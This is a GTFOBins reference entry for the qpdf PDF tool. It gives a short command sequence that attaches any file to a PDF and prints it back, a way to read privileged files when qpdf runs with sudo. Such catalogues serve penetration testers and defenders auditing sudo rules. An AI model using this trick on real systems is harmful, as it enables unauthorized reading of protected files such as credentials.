GTFOBins.github.io/_gtfobins/qpdf.md

description: QPDF is both a software library and a free command-line program that can convert one PDF file to another equivalent PDF file. It is capable of performing transformations such as linearization, encryption, and decryption of PDF files. functions: file-read: - description: qpdf can be used to read any arbitrary file accessible to the running user, by attaching the target file to a valid PDF file, and then accessing that attachment. If the user is allowed to run qpdf as an elevated user (e.g with sudo), privileged files can be read. code: | FILE_TO_READ="/path/to/file" qpdf --qdf --add-attachment $FILE_TO_READ --key=anykey -- valid.pdf output.pdf qpdf --show-attachment=anykey output.pdf